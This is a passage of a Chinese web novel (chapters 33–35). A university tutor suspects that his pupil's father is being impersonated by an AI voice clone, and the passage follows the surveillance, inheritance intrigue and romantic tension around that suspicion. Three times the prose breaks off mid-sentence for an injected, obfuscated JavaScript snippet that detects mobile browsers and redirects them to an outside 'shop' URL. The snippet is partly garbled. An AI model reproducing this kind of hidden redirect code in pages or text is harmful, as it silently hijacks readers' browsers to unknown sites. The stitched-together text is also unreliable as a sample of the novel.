这么多年,向天问不是没有想过找妈妈,可人海茫茫,自己又忙于学业和替父还债,分心不得,哪有心思琢磨这事儿?听了警察这番话,他不免燃起星星点点的希望。 只是采个血样,又不麻烦,去一趟怕什么?更何况,不是只有他没有妈妈。 向天问等不及明天见面,出了报告厅就给蔡衍嘉打语音电话。 “还没写完呢,向老师,吃完饭接着写。”蔡衍嘉接起电话,声音带着笑意,“你要是不放心,我带着卷子去找你呀!” 向天问没心情同他闲扯,径直问道:“你找过你妈吗?知道她在哪儿吗?” 电话那头沉默了几秒,而后传来一声轻轻的叹息:“唉,我从小到大不知道问过多少次,老爷子不发话,谁敢告诉我?” “你爸知道,但不告诉你?” 蔡衍嘉的语气渐渐沉下去:“说不准。我怀疑连他也不知道。有一回我听到他和别人提起,说:‘那个蠢女人,以为有咗仔就可以吃住我咩?’大概是生下我之后,就被打发走了吧……” 听蔡衍嘉惟妙惟肖地模仿蔡老爷子的语气,想起上次与蔡老爷子通话时的那种奇怪的感觉,向天问的脑海里突然划过一道惊雷。 33. 第33章 四十分钟后,向天问推开书房门,将正在书桌前捧着手机打游戏的蔡衍嘉逮了个正着。 “向老师?!”蔡衍嘉吃惊张大了嘴,慌忙熄掉屏幕、把手机放在一旁。 向天问却顾不上批评他,反而一脸警惕地回身关上门。 蔡衍嘉嘻嘻笑着来抱他:“你不是说不想我吗,这么晚还跑过来?” “别闹,我有正事跟你说。”他拽着蔡衍嘉的手腕,把人拉到窗边,“我问你,你最后一次和你家老爷子联系是什么时候?” 蔡衍嘉一脸懵懂:“上次在江边,他不是给你打过电话?” “我是说你!你多久没和他说话了?”向天问眉头紧皱,蔡衍嘉也跟着严肃起来。 “暑假里……不对,是高考出分后。他打过来把我臭骂一顿,之后就生气了,再也不理我了。”蔡衍嘉说,“之前我给他打电话,虽然也都是他助理接,但每次都很快转到他手上;后来我再打过去,助理就说,‘蔡先生正在治疗仓里,不方便’,或者‘蔡先生不愿意听你电话,叫你专心学习。’” 向天问朝门口方向撇了一眼,压低声道:“你知道声音是可以用AI模拟的吗?” “啊?”蔡衍嘉不禁错愕。 “上次在江边接到他的电话,我当时就觉得奇怪:老季明明说最近老爷子身体不大好、饭都吃不下了,可我听他的声音,倒比第一次联系的时候中气更足、言语更流利。”向天问问道,“你爸到底生的什么病?真能好得这么快?” 蔡衍嘉摇摇头:“帕金森啊,好不了的。顶多加大药量,暂时维持行动能力。你是说,上次和你通话的,不是老爷子本人,是AI假扮的?” 向天问也不敢断定,就把心中的疑点给蔡衍嘉分析了一遍。 蔡衍嘉想了想,说:“是哦,去年刚回国的时候,老季帮我联系到全中国最好的国际学校,老爷子怎么都不同意,偏要让我去公立;现在却这么轻而易举地同意我休学在家,的确不可思议。” “可能从去年起,你爸就预感到自己支持不了多久了,把你接回来、交给政府办的学校,是为了保护你。”向天问攥拳道,“只有你爸身边的人,才有机会收集到他的图像和声音,并把他控制起来;这个人还能得到你爸助理和老季的帮助……” “蔡衍……”蔡衍嘉惊叫起来,却被向天问捂住嘴。 “老季给蔡衍诚做过保镖!”蔡衍嘉罩住向天问的耳朵说。 “你怎么不早说?!”向天问气得直瞪眼。 “你也没问我啊!”蔡衍嘉两手抱住他胳膊道,“那现在怎么办?老爷子会不会已经……” “呸呸!”向天问白他一眼,“不能轻举妄动,得先保证你的安全。你还是去上学……” “我不去!”蔡衍嘉脸色骤变,“打死我也不去!” 向天问没空给这货做思想工作,只得暂且将就,又咬着耳朵嘱咐了半天,蔡衍嘉认真点点头,比了个大拇指。 然后两人回到书桌前,向天问拎起卷子,“啪”地往桌上一拍,高声嚷道:“写的什么东西?!你这一整天干什么去了?” “没干什么啊!除了吃饭睡觉,我都没离开过这个房间,不信你问老季!”蔡衍嘉起身拉开书房的门。 “我刚才一进来,就看见你在玩手机!你敢说你没打游戏?把你手机使用时间打开给我看!” “凭什么给你看?我的手机是我的隐私!”蔡衍嘉也提高声音,眉眼却带着笑意。 “你不想学拉倒!”向天问喊道,“你又不是为我学,我多余操这份心!” 他其实不太会吵架,再演下去要没词儿了,于是冲出书房,跑到玄关穿鞋准备走。 老季过来劝道:“向老师,消消气。衍嘉少爷上午一直在学,我作证。” “那就是下午没学呗?”向天问没好气道,“我每天来回奔命似的,还不够生气的!算了,季叔,你帮我联系蔡先生吧,我实在教不动了。” 老季顿了顿,脸上闪过一丝犹疑,最终还是点了点头:“那……行吧,这么晚了,我跟他助理约一下试试。” “麻烦你了季叔。”向天问气鼓鼓地冲出门去。 一走出楼栋,他赶紧掏出手机,翻到前些天加了好友、却一句话都没说过的“Amanda”,发出一条信息:“你好,Amanda姐,我是向天问。我有件急事想向蔡总汇报,请问方便吗?” “好的,帮你转达。”Amanda很快回复。 向天问紧握着手机,走到地铁口来回踱着步。时间一分一秒地过去,已经21:40了。再这么干等下去也不是办法,只能先回学校了。 可才跑下几节台阶,手机就响了。他接起陌生号码来电,大松一口气。 “向老师。”蔡衍晴沉稳的声音略带一丝疲惫,“你有什么事?” 向天问简要地把上次与“蔡老先生”通话的情况说了一遍,讲出自己的担心,最后补充道:“不知道是不是我过于敏感、杞人忧天了,但事关重大,我觉得有必要向您汇报一下。” 蔡衍晴停顿了一下,幽幽道:“我知道,已经在处理了,你不要声张。” 他没猜错!而且蔡衍晴也知道了!向天问如释重负,手抚着胸口深深呼吸两下。 “你也已经猜到是谁做的,对吗?”蔡衍晴哼笑了一声,“老爷子果然没看错人。不过,为什么来找我?拿着这个‘把柄’去找那个人的话,你能得到更多,不是吗?” 既然有求于人,就没有必要隐瞒,向天问直截了当地回答:“我为什么要和那样一个黄赌毒俱全的烂人一边?蔡总好歹是个堂堂正正、凭本事做生意的正派人,您的承诺,我是可以相信的。” “说吧,你想要什么?”蔡衍晴是个爽快人。 “蔡衍嘉在学校跟老师同学处不好,现在不肯去了。天天在家呆着,他的安全没办法保证。”向天问说,“就这事儿,别的没了。” “这个蔡衍嘉,真是傻人有傻福。”蔡衍晴又笑了,“你放心,他在家里很安全。别忘了,那是我的房子。” 向天问稍稍安下心来,又说:“我怕您不相信我的话,刚才已经请老季帮忙联系蔡先生,估计一会儿他们会给我回电话,本来想让您听听的。既然您已经知道了,我还需要做什么吗?录音,还是跟他们说什么?” “苹果手机在通话中录音会提醒对方,打草惊蛇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646974|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔡衍晴果断安排道,“你在哪里?加我微信,把位置发给我,有人会去接你。” 向天问看了看时间,已经21:50了。可眼下顾不了那么多,他按照蔡衍晴的指示发送了位置,仍旧在地铁口附近等。 蔡衍晴发给他一个网页链接,他点进去,屏幕上跳出三行三列画面,是蔡衍嘉家电梯、门口、家里各处的实时监控! 怪不得她说“家里很安全”,原来早有后手。可这样一来,他平时和蔡衍嘉搞的那些小动作,不也都被拍下来了? 向天问顿时窘得直捂脸,下嘴唇儿都咬出血腥味儿来了。 此时此刻,当中那块监控画面上,蔡衍嘉正坐在书房的桌前写字,小鸡啄米似的点着头。 这是在打盹儿呢?向天问气得想笑,退出去给蔡衍嘉发信息说:“困了就睡吧,别把脑门儿磕着了。” 很快,蔡衍嘉回复一条语音:“不能睡,我在假装生气呢,你要不要假装哄我一下啊,向老师?” “乖,去睡觉。”向天问发出信息,脸顿时发烫。 上次的“蔡老爷子”是假的,那么一切就说得通了。向天问思忖道,蔡衍诚当然不希望蔡衍嘉发奋考上大学,同意他在家“放羊”理所当然。 蔡衍诚自然也无法理解向天问诚心实意辅导蔡衍嘉的动机,在这种卑鄙的人眼中,向天问就和那些围绕在蔡衍嘉身边的狐朋狗友一样,是“想通过蔡衍嘉打蔡家主意”的吸血鬼,因此才会借“蔡老爷子”之口,说出那些莫名其妙的话。 也就是说,人家并没有怀疑他和蔡衍嘉“谈恋爱”,是他自己做贼心虚,脑补了一出“蔡老爷子”旁敲侧击警告他的故事。 十几分钟后,一辆黑色SUV停在路边,车上下来一个西装革履的男人,自称“蔡总的私人法务小温”。 上车后,温律师给向天问一个小巧的录音笔,教他怎么用:“太晚了,对方今晚可能不会打过来了。明天你接到电话的时候,先找一个安静的地方,按下录音,再把笔帽这个位置对准手机听筒,注意不要碰到手机。” 向天问尝试录了几句话,熟悉操作后,小心翼翼地把录音笔揣进裤兜里。 温律师问送他去哪儿,他看了一眼手机,已经22:25,就算现在回京大,也进不了宿舍了。他只好说“不用”,自己惴惴不安地走回汤臣一品去了。 为了不令老季起疑,一进门,向天问就手按额头坐在穿鞋凳上,一脸郁闷地拨通蒲玉琢的号码。 “班长,我在学生家,没赶上地铁……刚开学,应该不会查寝吧……没事儿,学生不好好学,说了两句……嗐,玩游戏呗……是啊,那怎么办呢,总不能打他一顿吧……好的好的,麻烦你了,嗯嗯,就这样。” 蔡衍嘉听见他回来,乐得眉飞色舞,把假装吵架的事忘得一干二净,光着脚就跑出来,直往他身上扑。 “别动我!”他冲蔡衍嘉使个眼色,蔡衍嘉却死死抱住他腰身,只是一味呆笑。 两人正一个推、一个赖闹成一团,老季突然从暗处闪身出来,脸上挂着意味不明的笑容,冲向天问道:“怎么样,衍晴小姐怎么说?” 向天问与蔡衍嘉面面相觑,双双愣住。 34. 第34章 向天问把他们带进主卧卫生间,拧开水龙头为浴缸放水。哗啦哗啦的水声中,三人沉默对峙许久。 老季率先打破僵局道:“向老师,上回我同你说的话,你还是没听进去?有些事不该咱们掺合,少问、少管,没有必……” “你是蔡衍诚的人!”蔡衍嘉沉不住气,嚷嚷起来,“他给你多少钱,天大的事你也敢替他瞒住?” 老季摇头叹了口气:“我就知道你们误会了。谁接了你们蔡家的班,我都一样是个打工的,我犯得着给哪一个卖命?” 蔡衍嘉脖子一梗,质问道:“你同那个烂人很好的,你给他做过贴身保镖,不是吗?” “那你有没有想过,我为什么后来不做了呢?”老季苦笑道,“当年蔡先生吩咐我看住大少爷身边,可他那些‘朋友’个个看我不顺眼,还冤枉我偷东西、栽赃给我,叫大少爷赶我走。多亏蔡先生没有听信谗言,反把我调回身边重用。” “接你回国前,蔡先生命我在关老爷面前发誓,一定保你平安周全;还叫我把妻女都带着,与你同进同退……”老季面色凝重,闭眼深深吸口气。 “衍嘉少爷,你有没有想过,老爷子为什么非要你考上大学、回国发展?这是他给你留的后路啊! “你斗不过那两个人的,一丝胜算都没有!倘若他们狠下心不认你,你分文都得不到、什么都没有了。 “要是有个文凭、学个专业,好歹能找份工作,在这个最最安全的社会踏踏实实过日子、做个普通人,总好过鸡飞蛋打、落得……”老季把最难听的话咽回去,扶额转了一圈,又回到向天问面前。 “向老师,你是智商超群、机敏过人,可你才多大年纪,你见过什么风浪?你同那两个老江湖玩心眼,你玩得过吗?羊入虎口啊,小朋友!” 老季满脸恨铁不成钢的焦急:“不要惹事,不要探头探脑、引人注目,行吗?为了衍嘉少爷能平平安安,你就当一回傻子吧,好不好?” 向天问静静听着,想明白很多事情。 凭老季的经验和细心程度,家里安了这么多监控,他不可能不知道;老爷子从七月份起就不亲自接电话这件事,老季也不可能没有留意到。之所以不说破,就是故意装傻,不想让蔡衍嘉掺合进蔡衍诚和蔡衍晴的争斗之中。 而且,这很有可能是蔡老爷子的意思。 蔡衍嘉势单力薄、私生子的身份也没有保障,想分得一杯羹,只能寄希望于那两个人的良心和体面;去争去抢,反而招人厌恶。 老爷子把蔡衍嘉送回国内考大学,一来是为保证他人身安全、不被人带坏,二来正是为向那两个人示弱,摆出一副“我什么都不要,我已经打算自谋生路”的姿态,好让那两个人放过蔡衍嘉。 的确,诚如老季所说,“豪门争斗”的险恶是向天问、蔡衍嘉这种“生瓜蛋子”完全无法想象的。多少人为了几万、几十万块钱都不惜铤而走险,更何况是上百亿市值的家业,就算为之杀人放火,也不稀奇。 现在这个节骨眼上,蔡衍嘉越懵懂、越没存在感越好。向天问不禁懊恼,实在不该自作聪明、一味逞能,陷蔡衍嘉于危险之中。 更何况,假如老爷子真如他们所料、已经被架空,现在捅破这件事,只会令对方狗急跳墙,能有什么好处?蔡衍晴那么有本事,让她去想办法吧。 眼下向天问已经在蔡衍晴面前探头露脸,蔡衍晴主动透露家里安监控的事,是为获取他的信任,让他成为安插在蔡衍嘉身边的“她的人”。 他只能将计就计,假意投向蔡衍晴那边,让蔡衍嘉继续当一个胸无大志的“傻子”吧。 “傻子”其实也没那么傻,这会儿也终于反应过来,趴在向天问耳边问:“我们为什么要在这里讲话?有人监听吗?” 向天问哪敢说出实情,蔡衍嘉本来就讨厌蔡衍晴,这货要是知道家里被她装了摄像头,犯起浑来,一准儿闹得无法收场。 他只好从口袋里拿出那个小巧的“录音笔”,和蔡衍嘉咬耳朵说:“对,这是蔡衍晴给我的,让我录下与AI老爷子的通话。谁知道这东西有没有动过手脚?说不定是个监听装置。谨慎一点儿总没错。” 蔡衍嘉一听,夺过那东西就要往浴缸里扔。向天问赶紧抢下来,悄声说:“不要打草惊蛇!将计就计,懂不懂?” 老季与向天问交换一个心照不宣的眼神,转身出去了。 向天问指指浴缸,对蔡衍嘉说:“喏,水放好了,你泡吧。早点睡。”然后也转身走了。 第二天上午有课,要尽早赶回学校,向天问不敢耽搁,回房后立即洗澡上床睡觉。 躺在床上,他默默将诸般头绪又在心里捋了一遍,更坚定了自己的判断:他们错怪老季了,老季的想法没错,眼下蔡衍嘉什么都不争、什么都不问才是上策。 哪怕是最坏的情况——老爷子已经不在了,蔡衍嘉什么都分不到,也根本考不上大学,一切打算都成空——那又怎么样?就算蔡衍晴撕破脸、把他们赶出这座豪宅,又能怎么样? 大不了和蔡衍嘉一起打工呗,去剧本杀店当npc、给服装店当收银员,再不济送快递、跑外卖,他再找份别的家教工作,两个大小伙子还能饿死不成? 既然最坏的结果他们都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646975|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承受,还有什么好担心的呢?这么想着,向天问便安下心来,眼皮渐渐沉重。 半梦半醒间,他忽然觉得浑身一沉,胸口都被压得有些窒闷。伸手一摸,他吓了一跳。 怀里多了个人! 蔡衍嘉整个人趴在他身上,贴着他胸膛气喘吁吁,浑身都在发烫。 “怎么了?”向天问轻轻拍了拍他脊背,担心他是不是病了,“你起来,我看看。” “唔,Daddy——”蔡衍嘉在他怀里拱了拱,发出一声甜腻的哼哼。 听这动静,向天问一下子反应过来,顿时后槽牙一软。 这货分明刚干完坏事,裤子都没穿,腿还在哆嗦呢! 这是干什么?!“贤者时刻”跑他这儿来寻求安慰? 都是男的,蔡衍嘉不可能不知道这种姿势的接触会给向天问带来怎样的尴尬与“不便”,这货就是故意的! 向天问恨得拳头都硬了,却不知为何一丝推开的力气也没有,像被鬼压床似的。 他不可抑制地想起上次听到的那两声似叹息、似呜咽的呻吟,蔡衍嘉赤露的皮肤贴在他身上的暧昧触感,令他丹田处热浪翻涌,甚至能感觉到心脏泵出血液的节奏。 怎么办?这可怎么说得清啊!蔡衍嘉就这么跑过来、爬上他的床,会被摄像头拍到的吧…… 摄像头!向天问心里咯噔一下,突然意识到,蔡衍嘉在房间里用小玩具的情景,也会被拍到! 万一监控那头有人看着,万一监控被泄露出去,万一有人利用监控视频要挟蔡衍嘉……他不敢再想下去,赶忙伸长手臂,抓过床头的手机,点开蔡衍晴发给他的链接。 屏幕上显示“授权已过期”,已经看不到了。 蔡衍嘉是真累了,此时已在他怀里昏睡过去,嘴巴微微张着,口水都流到他胸口上了。 向天问焦虑得睡不着,终于忍不住翻了个身,把蔡衍嘉推到一旁。 他跑进主卧,摸黑拉开那个抽屉,气急败坏地把里面各种各样的罪恶小玩具大把大把抓出来,一趟一趟地扔进卫生间的垃圾桶里。 第二天一早,蔡衍嘉被向天问手机上的闹钟吵醒,挣扎着坐起来,只见向天问顶着两个大黑眼圈,站在床边满脸怨念地瞪着他。 “穿上!起来!”向天问把T恤、短裤狠狠扔进蔡衍嘉怀里,“书房里的东西我已经拿好了,你自己整理行李箱。别磨蹭,我只给你20分钟时间!” “嗯?行李……我们去哪儿啊,向老师?”蔡衍嘉揉着眼睛仍在发懵。 “燕园宾馆!”向天问丢下四个字,气鼓鼓地冲出房间。 35. 第35章 燕园宾馆位于京大校园深处一个幽静的角落,蔡衍嘉住在那里绝对安全;宾馆内有中西餐厅、健身房、游泳池,吃喝不愁,每天还有人打扫房间。向天问下了课,走过去只要十几分钟。 唯一的问题是,无论从宿舍、教学楼还是图书馆出发,去宾馆都必须经过食堂前面那条商铺林立的大路,实在太招人眼目。 因此向天问总是先往北走到文科建筑群那边,再沿着西围墙一路向南,从宾馆后侧进去。虽然绕了个大圈,但他腿脚麻利,连跑带走的也花不了多少时间。 周三这天早八下课后,他从教学楼出来,心里盘算着今天时间充裕,先带蔡衍嘉去公安局开DNA采集的单子、去医院抽血,回来后应该还有时间把前两天积攒的错题处理掉。 赶到6008房间时,蔡衍嘉刚刚起床,正顶着满脑袋乱蓬蓬的头发刷牙洗脸。 “十点了,你才起床?早餐时间都过了。”向天问故意逗他,“本来还想带你出门的,来不及了,算了吧!” 蔡衍嘉顿时“啊啊”叫起来,脸上的水都顾不上擦,就急着拉开衣柜,一头钻进去乱翻。 “我不吃了!换件衣服就走!”蔡衍嘉边往身上套T恤边嚷嚷。 向天问不让蔡衍嘉和他一起走,非要分头出门:“你慢慢穿,不着急。我去西南门外那个公交站台等你。”说完不由分说就走了。 蔡衍嘉果然磨蹭,向天问在公交站台等了二十分钟,给他买的手抓饼都凉了,他才终于出现。 这货喷了香水,吹了头发,脖子上、挎包上挂满了丁零当啷的饰品和小娃娃,向天问看了直想笑。 等车的工夫,蔡衍嘉狼吞虎咽地吃完手抓饼,看来是真饿了。 两人坐上公交车,蔡衍嘉难掩兴奋:“我们去哪儿玩啊,向老师?” “谁说是去玩了?”向天问反问他,“陪我去公安局办点事,可以吗?你带身份证了吗?” “带……带啦。”蔡衍嘉拍拍斜挎在胸前的小包,大眼睛眨巴眨巴的,一脸懵懂,“去公安局?” “嗯,去做DNA采样,在失踪人口数据库里比对,看能不能……找到我妈。”向天问心里突然忐忑,最后几个字声音轻了下去。 “哦。”蔡衍嘉小嘴一噘,露出失望的表情,“我以为你要和我结婚呢!” “俩男的结不了。而且结婚是在民政局。傻子!”向天问憋不住笑了,伸手在蔡衍嘉脑袋上扑噜一下。 “啊,头发被你弄乱了!”蔡衍嘉嘻嘻哈哈地也来抓他头发。 两人正在最后一排拉拉扯扯,公交车停在了下一站——京大正门。 车上人不多,从前门上车的几个乘客很快找到位置坐下了,却有一个人径直往最后一排走来。 向天问看清那人是谁,顿时如触电般收回手脚,脸上的笑容瞬间烟消云散。 “天问?!”蒲玉琢惊讶地打招呼,“这么巧啊!” 上次蒲玉琢说蔡衍嘉是什么“男同”的事,向天问还没忘呢,此时此刻“男同”蔡衍嘉就坐在他旁边,他不免有些尴尬,一时不知该说什么,愣住了。 “嗨!”蔡衍嘉倒是大大方方冲蒲玉琢挥了挥手,又问向天问,“你同学吗?” “啊……是,我室友,班长。”向天问怕被人指摘攀附权贵,不想让班上同学知道自己做家教的对象是这样一个“豪门阔少”,因而脸色有些不自然。 “你好,我叫蒲玉琢。你是天问带的学生吧?”蒲玉琢偏头和蔡衍嘉聊上了,“经常听他说起你。” 哪有经常说起?向天问腹诽道,这人瞎搭讪什么呢。 “Vincent,蔡衍嘉。”“豪门阔少”向蒲玉琢伸出一只手自我介绍,两人浅浅握了一下手。 “你们去哪儿啊?”蒲玉琢随口打听道。 去采血样、找妈妈,又不是什么光彩的事,向天问不想让蒲玉琢知道这么多,却不好红口白牙地说谎,纠结着纠结着,嘴比脑子快,竟回答了一句:“民政局。” 蔡衍嘉和蒲玉琢闻言双双愣住,向天问这才反应过来,赶紧更正道:“公……公安局,不好意思,口误了。” 蒲玉琢笑道:“太巧了吧!我也去公安局。我身份证上的照片是小时候照的,学校户籍科让我去公安局重拍换证。” 就让蒲玉琢以为他们两个也是去换身份证的吧,向天问脑子转得飞快,等到了那边,趁蒲玉琢去拍照的时候,他们就躲开。 可万一蒲玉琢自作主张在那儿等他们怎么办?又或者办采血单和换证是同一个窗口,躲不开怎么办? 向天问脑子转得咔咔响,不知不觉开始抖腿。 蔡衍嘉意味深长地看他一眼,冷笑道:“你紧张什么呢,向老师?” “啊?我……没紧张啊!”向天问愁得眉头都皱起来了,这下就连蒲玉琢也看出他的不自在。 “蔡同学也想考京大吗?”蒲玉琢没话找话说,“明年给你的‘向老师’当学弟,多好。” 蔡衍嘉提了提嘴角,阴阳怪气道:“我哪考得上‘你们’京大?高攀不起。” 蒲玉琢明显感觉这两人态度都怪怪的,却不知自己做错了什么、说错了什么,一时接不上话。 三个人便陷入尴尬的沉默,直到公交车开到公安分局站,他们才如释重负地下车。 走到分局门口,蔡衍嘉突然淡淡来了一句:“你们先进去吧,我买瓶水。” 向天问赶紧跟上:“我也去。班长,你先办你的事吧,别耽误你时间。” 两人闷头走了快一站路,终于找到一家便利店。蔡衍嘉买了瓶电解质水,赌气似的咕嘟咕嘟喝下去半瓶。 “怎么了,突然不高兴了?”向天问拽了拽蔡衍嘉包上挂的丑娃娃说。 蔡衍嘉一脸不可置信地翻了个白眼:“是谁突然不高兴啊?原本好好的,你那‘室友’一来,看把你慌的!你在紧张什么呀,‘天问’?” “我不想让他知道我的事……” 向天问话未说完,蔡衍嘉便急着抢白道:“我还不想让他知道我的事呢!诶,我就不明白了,你成天跟人家说我的事,我怎么从来没听你提过他呢?” “有什么好提的?”向天问纳闷道,“我为什么要提他?” 蔡衍嘉没好气道:“我怎么知道!你天天和人家睡在一起,就没发生点儿能说给我听的事?” “我怎么听不明白你在说什么呢?”向天问也有些急眼,“你到底在闹什么?” 蔡衍嘉将手中没喝完的水“咚”的一声扔进路边的垃圾桶,气鼓鼓跺着脚就走。 向天问拽住他手腕:“你去哪儿?公安局在那边!” 蔡衍嘉鼻孔喘着粗气,身子朝后仰着和向天问较劲。两人拖拖拉拉地走回公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646976|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安局,蒲玉琢早已办完事走了。 向天问大松一口气,问过接待员后,他带着蔡衍嘉来到上次讲座后和他聊过的那位徐警官的办公室。 徐警官帮他在系统里登记寻找目标,可他的出生日期、出生机构、出生证明一概没有,甚至连他妈妈的姓名、年龄和相貌特征,他也都不知道。 说起小时候的记忆和家里的情况,向天问的心情愈发沉重,徐警官也叹了又叹,让他别抱太大希望,说能找到的希望渺茫。 拿着徐警官帮他打出来的采血通知单,向天问想起还要帮蔡衍嘉也登记一下。回头一看,蔡衍嘉塌着肩膀呆坐在沙发上,两眼红红的,像要哭了一样。 “徐警官,我朋友,他也……”向天问把蔡衍嘉拉到办公桌旁,按着他肩膀坐下,请徐警官也帮他登记。 同样,蔡衍嘉也不知道自己什么时候、在哪里出生,妈妈叫什么名字、是哪里人:“只有我爸爸知道我妈妈的情况,可他不肯告诉我;现在他得了帕金森,没办法说、也没办法动了。” 这么棘手的情况一天来两个,徐警官不禁挠头,只好打出单子递给他们,说:“尽人事,听天命吧。” 采血的医院在回学校的途中,一路上两人都满腹心事,没怎么顾得上说话。 回程的公交车上,向天问的手机嗡嗡嗡接连震动,他掏出来一看,又是那些无聊的人。 自从上次安全讲座,他被迫在全院新生面前露脸之后,每天都有陌生人加他好友,问他“有没有女朋友/男朋友”、要和他“认识一下”。 最开始他没意识到这些人的意图,以为只是单纯“认识新同学”,所以通过了十几个好友申请。结果这些人总是有事没事就给他发闲聊的信息,约他吃饭、听讲座、看展,甚至给他发自拍照片和长长的小作文。 最可怕的是,他们会留意他的动向,时不时发来一条:“向同学,你在一食堂二楼吧,我看到你了,帮你占座了哦!” “帅哥你几点下课呀,我也在二教,等下一起去食堂吗?” “这是你吗?刚刚从我面前走过去。笑死,你走路好快。”然后发来一张向天问正往燕园宾馆赶的背影。 向天问吓得直冒冷汗,又心虚不敢直接把人删掉,从此再不敢随便通过好友申请。 这回给他发信息的是个男的,发的是在健身中心的对镜自拍,问他:“怎么没见你来练啦?” 他关掉屏幕,刚把手机放回裤兜里,它又嗡嗡响起来。他只得掏出来回复一句“最近有点忙”,好让那人别再发了。 没想到对方反应迅速,没等他收起手机,一条信息又弹出来:“要陪女朋友啊?我朋友说经常在文学院楼下看到你。” “没有,只是路过。”向天问气得咂舌叹了一声,看来那条路线已经暴露,以后不能再走那边了。 对面又说:“对了,明天晚上有时间吗?我们院队招新,你条件这么好,不来试试?” 向天问赶紧回复:“不好意思,我明晚要去参观高能物理实验室,蒲玉琢帮我报名了。” 这是真话,班里只有2个名额,蒲玉琢作为班长当仁不让,顺带着也把他报上去了。 那人终于消停了,向天问正如释重负地吐出一口气,却听身旁的蔡衍嘉发出一声哼笑。 “看不出来,你还是个时间管理大师呢,向老师。”